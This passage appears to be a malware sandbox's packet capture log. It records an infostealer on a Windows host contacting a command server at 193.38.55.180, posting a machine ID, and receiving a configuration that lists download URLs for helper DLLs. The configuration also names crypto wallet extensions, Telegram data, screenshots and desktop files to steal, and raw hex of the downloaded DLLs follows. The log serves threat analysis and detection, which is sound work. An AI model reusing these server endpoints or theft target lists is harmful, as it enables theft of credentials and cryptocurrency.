6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 3, 2022 17:34:56.091151953 CEST	5192	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atioeij.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 190 Host: furubujjul.net
Oct 3, 2022 17:34:56.194015980 CEST	5193	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zzdIwF8WnEIPoM2QorKNSkALOAC4cWQ2JzsYf9T40YQYOx%2BC1BIku9NVLSXff%2F9%2BwUMFs2YpfyIFsDXOnLYh22ad8LLvoGI5jPQcABeKkG5cASukLG8vnnnYZyFB%2F9pjGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546bea8a98c0676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49703	193.38.55.180	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:35:22.638036013 CEST	5194	OUT	POST / HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: TakeMyPainBack Host: 193.38.55.180 Content-Length: 98 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 7c 66 72 6f 6e 74 64 65 73 6b 26 63 6f 6e 66 69 67 49 64 3d 31 61 31 37 64 39 61 65 64 37 61 32 33 39 34 34 30 64 65 62 37 35 64 37 61 31 37 37 66 34 30 36 Data Ascii: machineId=d06ed635-68f6-4e9a-955c-4899f5f57b9a\|user&configId=1a17d9aed7a239440deb75d7a177f406
Oct 3, 2022 17:35:23.024596930 CEST	5195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7058 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"1b92-wEBdYN381o+sEzciHmIXMT6fXOA" Data Raw: 6c 69 62 73 5f 6e 73 73 33 3a 68 74 74 70 3a 2f 2f 31 39 33 2e 33 38 2e 35 35 2e 31 38 30 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6e 73 73 33 2e 64 6c 6c 0a 6c 69 62 73 5f 6d 73 76 63 70 31 34 30 3a 68 74 74 70 3a 2f 2f 31 39 33 2e 33 38 2e 35 35 2e 31 38 30 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6d 73 76 63 70 31 34 30 2e 64 6c 6c 0a 6c 69 62 73 5f 76 63 72 75 6e 74 69 6d 65 31 34 30 3a 68 74 74 70 3a 2f 2f 31 39 33 2e 33 38 2e 35 35 2e 31 38 30 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 76 63 72 75 6e 74 69 6d 65 31 34 30 2e 64 6c 6c 0a 6c 69 62 73 Data Ascii: libs_nss3:http://193.38.55.180/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dlllibs_msvcp140:http://193.38.55.180/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dlllibs_vcruntime140:http://193.38.55.180/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dlllibs
Oct 3, 2022 17:35:23.024624109 CEST	5196	IN	Data Raw: 5f 6d 6f 7a 67 6c 75 65 3a 68 74 74 70 3a 2f 2f 31 39 33 2e 33 38 2e 35 35 2e 31 38 30 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6d 6f 7a 67 6c 75 65 2e 64 6c 6c 0a 6c 69 62 73 5f 66 72 Data Ascii: _mozglue:http://193.38.55.180/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dlllibs_freebl3:http://193.38.55.180/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dlllibs_softokn3:http://193.38.55.180/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dllews_meta
Oct 3, 2022 17:35:23.024640083 CEST	5198	IN	Data Raw: 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 6d 65 74 61 3a 6e 6b 62 69 68 66 62 65 6f 67 61 65 61 6f 65 68 6c 65 66 6e 6b 6f 64 62 65 66 67 70 67 6b 6e 6e 3b 4d 65 74 61 4d 61 73 6b 3b 4c 6f 63 61 6c 20 45 78 74 65 Data Ascii: l Extension Settingsews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settingssstmnfo_System Info.txt:System Information: \|Installed applications:\|wlts_daedalus:Daedalus;26;Daedalus Mainnet;;log,cache,chain,dictionar
Oct 3, 2022 17:35:23.024658918 CEST	5199	IN	Data Raw: 65 77 73 5f 69 63 6f 6e 65 78 3a 66 6c 70 69 63 69 69 6c 65 6d 67 68 62 6d 66 61 6c 69 63 61 6a 6f 6f 6c 68 6b 6b 65 6e 66 65 6c 3b 49 43 4f 4e 65 78 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 73 6f Data Ascii: ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settingsews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settingsews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settingsews_polym
Oct 3, 2022 17:35:23.024674892 CEST	5200	IN	Data Raw: 6c 65 67 6b 6a 6a 70 63 66 6a 63 6c 6d 63 66 67 67 66 65 66 64 6d 3b 4d 45 57 5f 43 58 3b 53 79 6e 63 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 74 6f 6e 3a 63 67 65 65 6f 64 70 66 61 67 6a 63 65 65 66 69 65 66 6c 6d Data Ascii: legkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settingsews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settingsews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settingsews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON
Oct 3, 2022 17:35:23.024692059 CEST	5202	IN	Data Raw: 74 77 61 72 64 65 6e 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 78 74 6e 74 6e 73 5f 6d 69 63 72 6f 73 6f 66 74 41 66 4c 3a 66 69 65 64 62 66 67 63 6c 65 64 64 6c 62 63 6d 67 64 69 67 6a 67 64 66 63 67 67 6a 63 Data Ascii: twarden;Local Extension Settingsxtntns_microsoftAfL:fiedbfgcleddlbcmgdigjgdfcggjcion;Microsoft Autofill Local;Local Extension Settingsxtntns_microsoftAfS:fiedbfgcleddlbcmgdigjgdfcggjcion;Microsoft Autofill Sync;Sync Extension Settingsews_ma
Oct 3, 2022 17:35:23.024749994 CEST	5202	IN	Data Raw: 73 0a 73 63 72 6e 73 68 74 5f 53 63 72 65 65 6e 73 68 6f 74 2e 6a 70 65 67 3a 31 0a 74 6c 67 72 6d 5f 54 65 6c 65 67 72 61 6d 3a 54 65 6c 65 67 72 61 6d 20 44 65 73 6b 74 6f 70 5c 74 64 61 74 61 7c 2a 7c 2a 65 6d 6f 6a 69 2a 2c 2a 75 73 65 72 5f Data Ascii: sscrnsht_Screenshot.jpeg:1tlgrm_Telegram:Telegram Desktop\tdata\|\|emoji,user_data,tdummy,dumpsgrbr_Desktop:%USERPROFILE%\Desktop\\|.txt,.xls,.doc,.bak.cpp,metamask,seeds\|recycle,windows\|50\|1\|1\|filesgrbr_Documents:%USERP
Oct 3, 2022 17:35:23.750104904 CEST	5203	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: TakeMyPainBack Host: 193.38.55.180 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:23.827912092 CEST	5204	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:23 GMT Content-Type: application/octet-stream Content-Length: 2042296 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:48 GMT ETag: "62543db4-1f29b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!&`@A!\T@@xPhh\!@.texti `.rdata@@.dataN*@.00cfg0@@.rsrcx@@@.relochP@B
Oct 3, 2022 17:35:23.827956915 CEST	5205	IN	Data Raw: 00 00 00 00 00 00 00 55 89 e5 53 57 56 8b 5d 0c 8b 75 08 8b 7e 0c 85 ff 74 40 8b 0d 70 e0 1d 10 ff 15 00 30 1e 10 57 ff d1 83 c4 04 8b 7e 0c 31 c0 85 db 0f 94 c0 c1 e0 08 48 89 46 44 85 ff 74 12 8b 0d 78 e0 1d 10 ff 15 00 30 1e 10 57 ff d1 83 c4 Data Ascii: USWV]u~t@p0W~1HFDtx0W1^_[]1HFDUWVu3'u7=tal$`t:x(p,@0^_]~28wm$x($
Oct 3, 2022 17:35:23.827991009 CEST	5207	IN	Data Raw: eb 14 6a 00 68 9d e8 ff ff e8 c3 f8 12 00 83 c4 08 31 f6 4e 89 f7 8b 4c 24 0c 31 e9 e8 70 f9 14 00 89 f0 89 fa 8d 65 f8 5e 5f 5d c3 ff 15 78 c6 1d 10 85 c0 74 c3 50 e8 35 fb ff ff 83 c4 04 31 c0 48 89 44 24 04 89 04 24 eb ae cc cc cc cc cc cc 55 Data Ascii: jh1NL$1pe^_]xtP51HD$$USWV]CECE +K1M4uGt'EH0jVuM]t}O30VuVO0SV^_[]U}uu
Oct 3, 2022 17:35:23.828020096 CEST	5207	IN	Data Raw: c0 ba 00 00 00 00 0f 84 f0 fe ff ff 89 c2 8b 4d ec 8b 06 89 02 8b 46 04 89 42 04 83 3e 00 0f 8e d8 fe ff ff 31 db c7 45 e8 00 00 00 00 c7 45 e0 00 00 00 00 31 c0 89 55 f0 89 45 d4 8b 7c 1e 08 85 ff 0f 84 aa 01 00 00 89 fa 6a 00 ff 75 08 e8 37 02 Data Ascii: MFB>1EE1UE\|ju7UD?u\|1u_DDDDLLD LDLDDE@;Mj(W-BM}U2E
Oct 3, 2022 17:35:23.828052044 CEST	5208	IN	Data Raw: 8b b9 50 01 00 00 85 ff 74 5c 8b 07 89 81 50 01 00 00 ff 81 38 01 00 00 eb 33 83 b9 28 01 00 00 00 0f 84 b1 00 00 00 80 79 53 00 0f 85 3c 01 00 00 6a 00 e8 f0 d5 13 00 83 c4 04 89 c7 85 c0 8b 55 f0 b8 00 00 00 00 0f 84 25 ff ff ff ff 75 d8 ff 75 Data Ascii: Pt\P83(yS<jU%uuWULu6HuDu<@HyLL_DDE<<N.PU
Oct 3, 2022 17:35:25.128930092 CEST	7366	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: TakeMyPainBack Host: 193.38.55.180 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:25.191770077 CEST	7368	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:25 GMT Content-Type: application/octet-stream Content-Length: 449280 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:42 GMT ETag: "62543dae-6db00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL(["!(`@@Agr?=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 3, 2022 17:35:25.977629900 CEST	7843	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: TakeMyPainBack Host: 193.38.55.180 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:35:26.033246040 CEST	7844	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 03 Oct 2022 15:35:26 GMT Content-Type: application/octet-stream Content-Length: 80128 Connection: keep-alive Last-Modified: Sat, 28 May 2022 16:52:46 GMT ETag: "6292535e-13900" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL(["!0t(@A? 8 @.text `.data@.idata@@.rsrc@@.reloc @B
